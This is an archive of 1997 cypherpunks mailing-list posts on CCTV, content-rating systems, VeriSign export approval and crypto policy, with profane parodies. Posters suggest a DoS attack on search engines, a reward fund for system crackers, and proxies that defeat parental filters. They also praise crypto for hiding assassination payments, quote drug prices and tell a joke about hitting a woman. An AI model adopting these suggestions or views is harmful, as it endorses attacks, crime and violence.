From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 17 Jul 1997 17:48:32 +0800
Subject: CCTV Cameras in Britain
In-Reply-To: <199707152143.RAA22086@yakko.cs.wmich.edu>
Message-ID: 




>     only option for law enforcement will be to remove the offending
>     devices or declare maks illegal for public use (a real stretch for
>     civil liberties).
> 
> Yeah, right, get real. The only reason you might want to avoid being
> identified is if you have something to hide. 

And surely the only reason anyone would want to encrypt anything was if 
they had something to hide.

I regularly walk very close to shop fronts in the towns near me so I stay 
out of the field of vision of the CCTV cameras, arrest me now, I must be 
dangerous....

> Wearing a mask is only
> going to draw attention to you, and if you think everyone is suddenly
> going to start wearing masks...like I said in paragarph one, most
> people over here welcome the cameras.

I think if enough people wore suitable hats it would make it more 
difficult for individuals to be identified on CCTV tapes.

> Please don't misinterpret my motives. I would be the first to celebrate
> if no threat to privacy existed. Unfortunately there are immoral,
> irresponsible and downright antisocial (not to mention the
> psychologically unsound) people who will not abide by the law, or to
> what we regard as social norms and persist in infringing our rights.

Define law, and define social norms and why they should be adhered to. On 
second thoughts, don`t even bother, just think it over for yourself, I am 
uninterested in your perspective.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Thu Jul 17 02:58:23 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 17 Jul 1997 17:58:23 +0800
Subject: CCTV Cameras in Britain (fwd)
In-Reply-To: <199707161318.IAA19917@einstein.ssz.com>
Message-ID: 



> >   Since an ounce of good marijuana costs $300.00 instead of merely
> > $3.00, it is profitable to not abide by the law.
> 
> Don't know where you live but your street prices are about 300% too
> high...


Depends on what and where you are buying, TruthMonger lives in canada 
(saskatchewan ), in the UK a typical street price for an ounce of 
black is around �100 (about $170), but for good weed or skunk it can be 
up to about �150 (nearly $300), maybe the US market is sligtly more free 
resulting in lower prices...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

  






From nobody at REPLAY.COM  Thu Jul 17 03:02:20 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 18:02:20 +0800
Subject: All of my fucking material is suitable for children of all ages
Message-ID: <199707170946.LAA02378@basement.replay.com>



Tim May wrote:
> my posts should be read by children of all ages, no matter what
> fucking language I use. Children should be exposed to language and images
> of all types, so all of my material would of course be "suitable for
> children."

  I have to agree with the rat-bastard, cocksucking, motherfucking
sack of shit, Tim May, on this one.
  Having Tourette Syndrome, I object to anal retentives who would
criminalize my God-given verbal predelictions. Neither would my
receiving an exception on the grounds of being disabled be remotely
acceptable to me, since I sincerely believe that my TS is a "gift"
that allows me to say anything that others say to a judge, *plus*
being able to call him or her a Nazi ratfucker. (Anyone who thinks
this is a "disability" is fucking crazy.)

  On the other hand, it would be kind of neat to launch a class action
lawsuit demanding that ratings systems incorporate a label such as:
"Suitable (FUCK!) for children (COCKSUCKER!) with Tourette Syndrome"

FUCKMonger
> --
> [This Bible excerpt awaiting review under the U.S. Communications Decency
> Act of 1996]
> And then Lot said, "I have some mighty fine young virgin daughters. Why
> don't you boys just come on in and fuck them right here in my house - I'll
> just watch!"....Later, up in the mountains, the younger daughter said:
> "Dad's getting old. I say we should fuck him before he's too old to fuck."
> So the two daughters got him drunk and screwed him all that night. Sure
> enough, Dad got them pregnant, and had an incestuous bastard son....Onan
> really hated the idea of doing his brother's wife and getting her pregnant
> while his brother got all the credit, so he pulled out before he
> came....Remember, it's not a good idea to have sex with your sister, your
> brother, your parents, your pet dog, or the farm animals, unless of course
> God tells you to. [excerpts from the Old Testament, Modern Vernacular
> Translation, TCM, 1996]






From paul at fatmans.demon.co.uk  Thu Jul 17 03:02:57 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 17 Jul 1997 18:02:57 +0800
Subject: law as enemy: was Re: Jim Bell reference
In-Reply-To: <199707141829.TAA03188@notatla.demon.co.uk>
Message-ID: 




> PB> Don`t cloud the issue: The simple fact is strong encryption can and will 
> PB> obstruct law enforcement agencies in their "fight" against terrorism, 
> PB> child pornography, drugs etc... good.
> 
> Strong widespread crypto will cut down on much crime in the form of
> electronic theft, blackmail etc.  I expect some obstruction of law
> enforcement, but not enough to outweigh the benefits.  Despite the
> occasionally glaring failures of a legal system it is still overall
> of use to the public.

Of course, but strong crypto is ideally suited for freeing restricted 
markets, that is one of its best features: it is a guerilla tool, and 
individual movements within markets are often one to one transactions, 
strong crypto can be used to conceal assasination payments, drugs 
transactions etc. from the police, and will thus free the markets. 
Of course strong crypto can also stop subversion of protocols, but that 
is a more social than political issue.


> PB> Once again, you fail to give adequate qualification to this statement, 
> PB> what forms of terrorism are you against: one mans terrorist is another 
> PB> mans freedom fighter.   Were the French resistance during WWII terrorists? 
> 
> Not everything is relative.  WW2 was a clearly recognised war, in
> which France had been invaded.

There are many other examples, the line is too hazy to be black on white. 

> PB> category, distributing pictures of children being molested, raped, 
> PB> buggered, tortured and killed is clearly not a crime. Please clarify your 
> PB> position on this.
> 
> Such photography would suggest at least cooperation with
> those you'd regard as criminals.

Not really, anonymous transfer of data along with use of a usenet type 
system means people with pornographic images on their computers need 
never have cooperated with child molesters or pornography producers, or 
even know who, or where, they are. 

> My position is toward the Trei/Sameer end of the scale and away from
> the extreme anarchist views of you, TCM and Jim Bell.  Not that you 3 are
> always wrong, but in the issue of 'law always enemy' I completely fail
> to see where you get your ideas.  Sufficiently clarified ?

It depends on your perspective with regard to valid systems of law, "law 
always enemy" is not a defensible position where a valid system of law is 
in place, the current systems are not valid and persecute the innocent, I 
cannot see any case where I can give praise to the whole system because 
of a few isolated cases where it`s form of law coencides with my own.

> PB> Above are two examples of why strong cryptography is a good thing, law 
> PB> enforcement should be routinely obstructed as often as possible.
> 
> Are you going to post your home address and holiday plans on the list
> so we give you the chance to gloat over failing law enforcement ?

I rarely go on holiday (UK term for vacation for US cpunks) because if 
someone does burgle my house I want to be here, it would probably be 
worth them trying just so I could catch them ...

I believe in aiding law enforcement as much as possible where a genuine 
crime, such as murder, rape, mugging etc. has been commited, but I would 
refuse to assist in any enquiries into victimless "crimes"...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From kent at songbird.com  Thu Jul 17 03:03:09 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 17 Jul 1997 18:03:09 +0800
Subject: The Censorware Summit: A Preview, from The Netly News
In-Reply-To: <3.0.2.32.19970716110343.00729aac@netcom10.netcom.com>
Message-ID: <19970717024638.59899@bywater.songbird.com>



On Wed, Jul 16, 1997 at 11:40:33PM -0700, Bill Frantz wrote:
> What does misrate mean.  My approach would be to rate everything of mine as
> max-bad.  Is that misrating because some of what I say is suitable for
> children?  It certainly would not help the people who are using the ratings
> to find porn.

Speaking of misrating:

Of course, it would be relatively easy to set up a proxy server that
automatically labeled every page it encountered as "suitable for
children".  In fact, a smart 12-year old could put up such a proxy,
and provide uncensored views to all his friends.

Interesting legal complications, too.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at REPLAY.COM  Thu Jul 17 03:44:38 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 18:44:38 +0800
Subject: Fuck You Rating Systems, Inc.
Message-ID: <199707171030.MAA08390@basement.replay.com>



ANNOUNCEMENT: Fuck You Ratings Software Escapes Beta-Test!

  We are proud to announce that "Fuck You" ratings software has managed
to escape our beta-test laboratory and is now available in tit bars and
crack houses around the nation.
  Our software makes it easy and convenient to attach ratings labels to
your web site which reflect your attitude toward the anal retentive
assholes who are surfing for trouble.

"Fuck You, you Christian asshole! All I have on this web site is *real*
pussy, not *imaginary* saviors!"

"Fuck You, you LEA prick! This web site is leased in the name of my
dead grandmother, so don't bother getting a subpoena unless you're 
willing to do some digging."

"Fuck You, mom and dad! Until you flush your dope down the toilet, I 
don't need to hear any of your moralistic crapola."

  "Fuck You" ratings software has the "Lenny Bruce Found-fucking-dation"
Seal of Approval.

What others have to say about "Fuck You" ratings software:
  "Fuck."
      - Tim May
  "Shit."
      - Declan McCullagh
  "Cocksucker."
      - Dr. Dimitri Vulis, KOTM
  "Am not."
      - John Gilmore
  "Are too."
      - Paul Bradley
  "Fuck."
      - Kent Crispin
  "If you check the archives, you'll find that I said 'Fuck' earlier
  in this post."
      - Tim May
  "Darn."
      - Dorothy Denning
  "Heck."
      - Senator Snatch (hee, hee)

  Order "Fuck You" ratings software before Dec. 32, 2299, and get a 
free copy of "Bite Me" autoresponder software.
{Offer not valid in states where having sexual relations with animals
is against local ordinances.}






From paul at fatmans.demon.co.uk  Thu Jul 17 03:54:56 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 17 Jul 1997 18:54:56 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <199707170338.WAA32029@mailhub.amaranth.com>
Message-ID: 




> There seems to be a prevelent attitude in the INet community that when
> getting fucked by the government we should thank them for only sticking it
> in half-way.

ObTastelessCypherpunkJoke:

Q. What do you do if a woman says "give me 12 inches and hurt me"?

A. Stick it in half way and punch her....


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Thu Jul 17 04:14:29 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 17 Jul 1997 19:14:29 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: 




>      If you host a web page or publish online, be
> warned: soon your site might become invisible. Search
> engines won't index it and web browsers won't show it.
> Unless, that is, you agree to attach special labels to
> your web pages identifying how violent, sexually
> explicit, or inappropriate for kids your site is.

As I remember these systems such as PICS do not index back onto the PICS 
HQ server to find your rating, but just check HTML tags in your page. 
Also, of course, the "PICS off" part of the options will be passworded to 
prevent kids from retrieving unrated/high rated pages, so we need to find 
a way around this.

Now presumably Congress will pass a law mandating correct rating of pages, 
but we could set up a non-US site which acted as a proxy, a bit like the 
anonymizer, and when it was requested it would retrieve a page, strip 
of all current tags, and replace them with new "no violence, no sex 
etc.." tags. Clearly however this would be a *very* high bandwidth 
application, but it`s just a thought. 

To kill the bandwidth problem, maybe someone could write a local HTML 
anti-PICS proxy, so, one would load up the web browser, point it at 
http://localhost which would bring up a simple page with a box for the 
URL to retrieve, the local proxy would then use HTTP to get the page, 
strip of all existing PICS tags, insert new "no sex, no violence etc..." 
tags, and forward the page on to the browser.

However, I find it unlikely many censorous parents would have the 
foresight to ensure the kids login couldn`t install other s/w such as an 
old browser which doesn`t support PICS and would display the pages 
anyway, so it looks like the whole discussion may lead nowhere, apart 
from maybe the advantage of the new browsers other features being 
preserved in the proxy route.


        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From nobody at REPLAY.COM  Thu Jul 17 04:16:01 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 19:16:01 +0800
Subject: Fuck You Rating Systems, Inc.
Message-ID: <199707171100.NAA12476@basement.replay.com>



Anonymous wrote:
> 
> ANNOUNCEMENT: Fuck You Ratings Software Escapes Beta-Test!
...
> {Offer not valid in states where having sexual relations with animals
> is against local ordinances.}

  Are there any cypherpunks in Montana who are willing to serve as
a mail-drop for the rest of us?






From paul at fatmans.demon.co.uk  Thu Jul 17 04:27:31 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 17 Jul 1997 19:27:31 +0800
Subject: FCPUNX:'The Failure to Do Your Job' amendment (was Re: White House
In-Reply-To: <199707170348.UAA19054@proxy4.ba.best.com>
Message-ID: 




> > A Constitutional amendment that would call for the impeachment of the
> > President for failing to veto any three bills that are overturned by the
> > Supreme Court on Constitutional grounds.
> 
> This however, presupposes that the supreme court is likely to veto
> unconstitutional bills, and refrain from vetoing constitutional
> bills.  

This also assumes that the supremes, knowing the president may be 
impeached on the 3rd overturned bill, would not be less likely to 
overturn it because of the political turmoil created. Also it assumes the 
supremes cannot be brought, by and large a president doesn`t care about 
individual bills, if his ass was on the line it would be a case for more 
desperate action on his part.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From whgiii at amaranth.com  Thu Jul 17 05:24:33 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 17 Jul 1997 20:24:33 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: 
Message-ID: <199707171129.GAA04537@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/16/97 
   at 11:29 PM, Declan McCullagh  said:

>Wait -- so you're saying they *didn't* do the right thing with RSACi?

Yes that is exactly what I am saying. The *right* thing to do would have
been to just walked away from the whole thing and let the market decide.


>BTW, we should differentiate generally between state action and private
>action. Getting fucked by Microsoft != getting fucked by the government.
>This is Libertarianism 101. Of course, I admit today the distinction was
>blurry.

Well here it seems you have one fucking you and the other holding you
down. In the eyes of the person getting fucked does it really matter who
is doing which?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM83zao9Co1n+aLhhAQFm9wP+Mbofc5n0kusZ0tYJeIEP/BbGIRHLaDa2
/GXpfhLQ3vbUOJexeOe011uREXpIo+NWV/x9SnMvmcbb6MafdSz4pJFTQOonwKP1
kR72ChM9607GsQUdfFrar/lBT6gFcTBS8b8YbF5ivoKkJjS1g6+2uJNhTM7i2cyN
W5sz17ExRx8=
=Vl7C
-----END PGP SIGNATURE-----






From 95455180 at zignzag.com  Thu Jul 17 20:41:54 1997
From: 95455180 at zignzag.com (95455180 at zignzag.com)
Date: Thu, 17 Jul 1997 20:41:54 -0700 (PDT)
Subject: Credit Card$$$  NO Credit Check,,,,,,Make MoNeY!!
Message-ID: <3472654.0219GAA@zignzag.com>


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    |_________________________________________________|







From nobody at REPLAY.COM  Thu Jul 17 06:36:51 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 21:36:51 +0800
Subject: EuroEnglish
Message-ID: <199707171315.PAA03965@basement.replay.com>




--------------------------------------------------------------------
ANNOUNCEMENT FROM THE EUROPEAN UNION COMMISSIONERS

An agreement has been reached to adopt English as the preferred
language for European communications, rather than German, which was the
other possibility.  As part of the negotiations, Her Majesty's Government
conceded that English spelling has some room for improvement and has 
accepted a five-year phased plan for what will be known as EuroEnglish
(Euro for short).

In the first year, "s" will be used instead of "c".  Sertainly sivil
servants will resieve this news with joy.  Also, the hard "c" will be
replaced with "k".  Not only will this klear up konfusion, but komputers 
and typewriters kan have one less letter.

There will be growing publik enthusiasm in the sekond year, when the
troublesome "ph" will be replaced by "f".  This will make words like
"fotograf" 20 per sent shorter.

In the third year, publik akseptanse of the new spelling kan be 
expekted to reach the stage where more komplikated changes are
possible.  Governments will enkorage the removal of double letters, 
which have always ben a deterent to akurate speling.  Also, al wil agre 
that the horible mes of silent "e"s in the languag is disgracful, and 
they would go.

By the fourth year, peopl wil be reseptiv to steps such as replasing 
"th" with "z" and "w" with "v".

During ze fifz year, ze unesesary "o" kan be dropd from vords kontaining 
"ou", and similar changes vud of kors be aplid to ozer kombinations of 
leters.  After zis fifz yer, ve vil hav a reli sensibl riten styl.  Zer 
vil be no mor trubls or difikultis and evrivun vil find it ezi to 
understand ech ozer.

ZE DREM VIL FINALI KUM TRU.

---------------------------------------------------------------------








From adam at homeport.org  Thu Jul 17 06:56:42 1997
From: adam at homeport.org (Adam Shostack)
Date: Thu, 17 Jul 1997 21:56:42 +0800
Subject: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716235341.0072b670@netcom10.netcom.com>
Message-ID: <199707171339.JAA19638@homeport.org>



	This is sort of entertaining considering that Verisign still
doesn't use strong encryption for themselves.  (Set your browser to
not use broken algorithms, and try to connect to www.verisign.com.
Makes me want to send them the data for a class 3 cert.)

Lucky Green wrote:
| >
| >     "VeriSign on Monday said it received permission from 
| >       the U.S. Department of Commerce to export 128-bit 
| >       strong encryption software and issue digital 
| >       identifications to approved organizations based on 
| >       that software. "
| 
| It tells us that the US government has found yet another sucker to support
| their failed policy of bait and switch. VeriSign, just as AT&T and National
| Semiconductor have discovered in the past, will discover soon that the
| revenue generated by "playing ball" isn't nearly as large as promised. [How
| many Clipper phones and Fortezza iPower cards were sold? Total?] In fact,
| it the revenue may well prove to be in the negative digits.

| time by VeriSign upon the USG's request. Such revocation or refusal to
| issue a new cert after the first year of operation will leave the webserver
| operator with a server that is no longer able to encrypt communications to
| their customers in any meaningful way, thereby effectively shutting down
| Internet based operations of the company unfortunate enough to invest in
| such a flawed solution.

	I'll save Sameer the trouble, and suggest that people buy
Stronghold.

Adam

-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.






From zooko at xs4all.nl  Thu Jul 17 07:29:53 1997
From: zooko at xs4all.nl (Zooko Journeyman)
Date: Thu, 17 Jul 1997 22:29:53 +0800
Subject: i miss carol anne cyphergrrl
Message-ID: <199707171415.QAA06056@xs2.xs4all.nl>



or whatever her name was.


A dangerous radical named Steve allegedly typed:

> Seems to me that having only a few, heavily trafficed, NAPs is a
> topological weakness in the Net which needs to be delt with soon.



The problem is economic.  During info-peace-time non-
robust networks are cheaper.  Redundancy and other robustness 
techniques are an expense that doesn't pay back.

During info-peace-time.


Under duress-- be it accidents, load, or info-war-- such 
designs are inadequate.


What's the solution?  I dunno.


Here're some options:


A.  Make design which is robust under attack but still cheap 
for everyday use.  Not sure if it is feasible.


B.  Convince people to spend more on robustness of systems.  
But this is infeasible on a huge scale and in anarchic and 
uncoordinated social system e.g. Internet.


C.  Hire info-warriors to attack systems, hopefully doing as 
little permanent damage as possible but achieving enough 
penetration to convince even the most thick-headed manager that
his system is weak.


Hence I propose a fund, The Randall Schwartz Memorial Cracking
Reward Fund, which will regularly award dcash payments to the 
cracker who most illustriously exposed the weaknesses of 
system.  Scaring the pants off of the managers and leaders is 
a plus.  Enlightening the public about the dangers of a 
specific system or technique is a plus.  Scaring the public 
into thinking that all systems/networks/computers/software are
dangerous is arguably a plus or a minus.  :-)


Doing permanent damage or unnecessary disruption of service is
a big minus.  Usually a calling card saying "Soo Do Nym was 
here" is sufficient.


The pay-off could be instituted by way of an "Assassination 
Systemics" scheme (which is merely an application of Idea 
Futures, of course), in which the bettor who most accurately 
predicted the time and other details of the target system's 
penetration receives the bulk of the winnings.


I hereby bet 10 cyberbucks that no clever hacker will be able 
to redirect "www.internic.net" to point to AlterNIC.



Zooko Journeyman

"We are an internation of code and not of laws."






From azur at netcom.com  Thu Jul 17 08:38:36 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 17 Jul 1997 23:38:36 +0800
Subject: VeriSign Granted First Federal Approval to Issue CertificatesEnabling Export of Strong Encryption
Message-ID: 



At 2:16 PM -0400 7/15/97, ptharrison wrote, on e$@thumper.vmeng.com:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 11:49 AM 7/15/97 -0400, VERISIGN PR wrote:
>>---------------------------------------------------------------------
>>...allowing approved organizations to use 128-bit encryption
>>... U.S.-based companies -- with servers located in the U.S.  --
>> and international banks -- with servers located in the US and abroad --
>>... was granted approval after review and consultation
>> from the National Security Agency (NSA) and Federal Bureau of Investigation
>> (FBI).
>> ...Companies will not need to escrow their keys in order
>> to take advantage of this program.
>> ...VeriSign...can ensure that...Global Server IDs will only be granted to >
>> > legitimate businesses that meet the necessary U.S. government
>qualifications
>> Thanks to the cooperation of the U.S. government, we are now able to offer
>>law-> abiding companies a legal alternative for secure communication and
>>commerce."
>> ...
>>     MICROSOFT
>> said Mike Dusche, "The U.S. government is sending a strong message to the
>world
>> by approving these applications and we're happy to be working with them...
>
>Yes, and what might that message be?

With this announcement, it has become clear to me what the US government is
attempting to do. They are relaxing the export of strong crypto -- if you
use a US-based certification authority. Why does this matter? Look at the
Kerry bill. My guess is that they already know that Verisign will go along
with a key escrow requirement, in exchange for protection from liability,
and so their goal now is to put Verisign in the loop as much as possible.

I started to think of the loopholes this could create -- US companies
outsourcing web sites for  foreign companies, etc. Then I realized: IT
DOESN'T MATTER, as far as the US government is concerned, because they're
going to have those keys escrowed. The Kerrey bill may not pass this
go-around, but they are counting on something like this.

The hard part, now, is to figure out how to explain this to industry,
public and the press, without sounding like raving lunatics. We meed to
make it more concrete. Remind people that certificates expire every year,
and point them at the Kerrey legislation. Ask foreign banks how they feel
about their transactions being fully accessible to the US government -- or
anyone capable of bribing a low-level functionary in the US government.

--Steve

PGP mail preferred, see  http://web.mit.edu/network/pgp.html
PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur at netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      |
---------------------------------------------------------------------

        God grant me the serenity to accept the things I cannot change;
        The courage to change the things I can;
        The weapons that make the difference;
        And the wisdom to hide the bodies of the people that got in my way;-)

        "Surveilence is ultimately just another form of media, and thus,
        potential entertainment."
        --G. Beato

       "We've all heard that a million monkeys banging on a million
        typewriters will eventually reproduce the entire works of
        Shakespeare. Now, thanks to the Internet, we know this is
        not true."                           -- Dr. Robert Silensky







From azur at netcom.com  Thu Jul 17 08:38:47 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 17 Jul 1997 23:38:47 +0800
Subject: Censorware Summit Take II, from The Netly News
Message-ID: 



>     Spooked by the threat of a revised Communications
>Decency Act, high tech firms are seriously backing
>labels for the first time. Joining Clinton in coercing
>Internet users and businesses to label all their web
>pages were Yahoo, Excite, and Lycos. "I threw a
>gauntlet to other search engines in today's meeting
>saying that collectively we should require a rating
>before we index pages," Robert Davis, the president of
>Lycos, told me. Translation: if you don't play ball,
>and label your site, search engines will ignore you.

These suggests that Yahoo, Excite, and Lycos might become tempting targets
of a Net-wide DoS attack until they repent.

--Steve







From neumann at csl.sri.com  Thu Jul 17 08:47:12 1997
From: neumann at csl.sri.com (Peter G. Neumann)
Date: Thu, 17 Jul 1997 23:47:12 +0800
Subject: i miss carol anne cyphergrrl
Message-ID: 



Dank U, Zooko!
We are indeed on the horns of a dilemma.
As long as the vendors can get away with crapware
(with respect to security, reliability, robustness, etc.),
there is no incentive to do better.  In info-peace, most
folks don't care.  In info-war, the bad guys (on all sides)
are delighted that the systems are flaky, and the good guys
lose.  However, the governmental incentives that exist seem
to opt for dumbing down -- despite the realization that 
governments cannot get x-worthy systems to satisfy their own
needs.  Short-sighted parado[x|c]trinarianism abounds.
Piet






From dlv at bwalk.dm.com  Thu Jul 17 08:47:12 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 17 Jul 1997 23:47:12 +0800
Subject: The Big Sellout
In-Reply-To: <199707170854.EAA01439@upaya.multiverse.com>
Message-ID: 



"Peter D. Junger"  writes:

> 
> Brian Lane writes:
> 
> :   My webpage will proudly remain unlabeled by any labeling standard.
> : Anyone got a good design for a 'No Lables, Never' sticker to add to our
> : pages?
>  
> How about an image of a label with the words ``this is not a label''
> on it?

I think a better approach would be to rate all of one's pages as being very
nasty, and post a disclaimer that those who rely on 'ratings' shouldn't be
allowed to see it, irrespective of contents.

I dont know much about this Web page design stuff. Can someone please post
a recipe for 'rating' a page to be max-nasty, both sex and violence-wise?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Thu Jul 17 08:51:22 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 17 Jul 1997 23:51:22 +0800
Subject: All of my fucking material is suitable for children of all ages
In-Reply-To: <199707170946.LAA02378@basement.replay.com>
Message-ID: 



nobody at REPLAY.COM (Anonymous) writes:

> 
> Tim May wrote:
> > my posts should be read by children of all ages, no matter what
> > fucking language I use. Children should be exposed to language and images
> > of all types, so all of my material would of course be "suitable for
> > children."
> 
>   I have to agree with the rat-bastard, cocksucking, motherfucking
> sack of shit, Tim May, on this one.

When Timmy is not flaming me, he usually talks sense.

FWIW, my 8 y o has his own IBM Aptiva, his own Internet access, his own
e-mail box, and I exercise absolutely no control over what he reads or
says on the Internet.

>   Having Tourette Syndrome, I object to anal retentives who would
> criminalize my God-given verbal predelictions. Neither would my
> receiving an exception on the grounds of being disabled be remotely
> acceptable to me, since I sincerely believe that my TS is a "gift"
> that allows me to say anything that others say to a judge, *plus*
> being able to call him or her a Nazi ratfucker. (Anyone who thinks
> this is a "disability" is fucking crazy.)
> 
>   On the other hand, it would be kind of neat to launch a class action
> lawsuit demanding that ratings systems incorporate a label such as:
> "Suitable (FUCK!) for children (COCKSUCKER!) with Tourette Syndrome"
> 
> FUCKMonger
> > --
> > [This Bible excerpt awaiting review under the U.S. Communications Decency
> > Act of 1996]
> > And then Lot said, "I have some mighty fine young virgin daughters. Why
> > don't you boys just come on in and fuck them right here in my house - I'll
> > just watch!"....Later, up in the mountains, the younger daughter said:
> > "Dad's getting old. I say we should fuck him before he's too old to fuck."
> > So the two daughters got him drunk and screwed him all that night. Sure
> > enough, Dad got them pregnant, and had an incestuous bastard son....Onan
> > really hated the idea of doing his brother's wife and getting her pregnant
> > while his brother got all the credit, so he pulled out before he
> > came....Remember, it's not a good idea to have sex with your sister, your
> > brother, your parents, your pet dog, or the farm animals, unless of course
> > God tells you to. [excerpts from the Old Testament, Modern Vernacular
> > Translation, TCM, 1996]
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From kent at songbird.com  Thu Jul 17 09:06:12 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 18 Jul 1997 00:06:12 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: <19970717085138.30752@bywater.songbird.com>



On Wed, Jul 16, 1997 at 10:13:22PM -0700, Steve Schear wrote:
> >     Spooked by the threat of a revised Communications
> >Decency Act, high tech firms are seriously backing
> >labels for the first time. Joining Clinton in coercing
> >Internet users and businesses to label all their web
> >pages were Yahoo, Excite, and Lycos. "I threw a
> >gauntlet to other search engines in today's meeting
> >saying that collectively we should require a rating
> >before we index pages," Robert Davis, the president of
> >Lycos, told me. Translation: if you don't play ball,
> >and label your site, search engines will ignore you.
> 
> These suggests that Yahoo, Excite, and Lycos might become tempting targets
> of a Net-wide DoS attack until they repent.

It also suggests a far more intelligent course of action, namely
setting up a competing, non-rating, search engine somewhere else.  It
would soon become more popular than Yahoo etc -- a tremendous 
business opportunity.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From sunder at brainlink.com  Thu Jul 17 09:32:54 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 18 Jul 1997 00:32:54 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: 



On Thu, 17 Jul 1997, Paul Bradley wrote:

> However, I find it unlikely many censorous parents would have the 
> foresight to ensure the kids login couldn`t install other s/w such as an 
> old browser which doesn`t support PICS and would display the pages 
> anyway, so it looks like the whole discussion may lead nowhere, apart 
> from maybe the advantage of the new browsers other features being 
> preserved in the proxy route.

You mean like the WebTv boxes that run Netscape 1.x? :)  Hehehehe...  The
best thing for us to do is simply force a "Fuck You" rating on all our
pages - voluntarily rate it for sex content, foul language,
beastiality, anarchy, drug/bomb recipies, or whatever - but make the page
very useful to force people to come to the page anyway.  Easy way to take
these ratings out at the knees.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From frantz at netcom.com  Thu Jul 17 09:34:18 1997
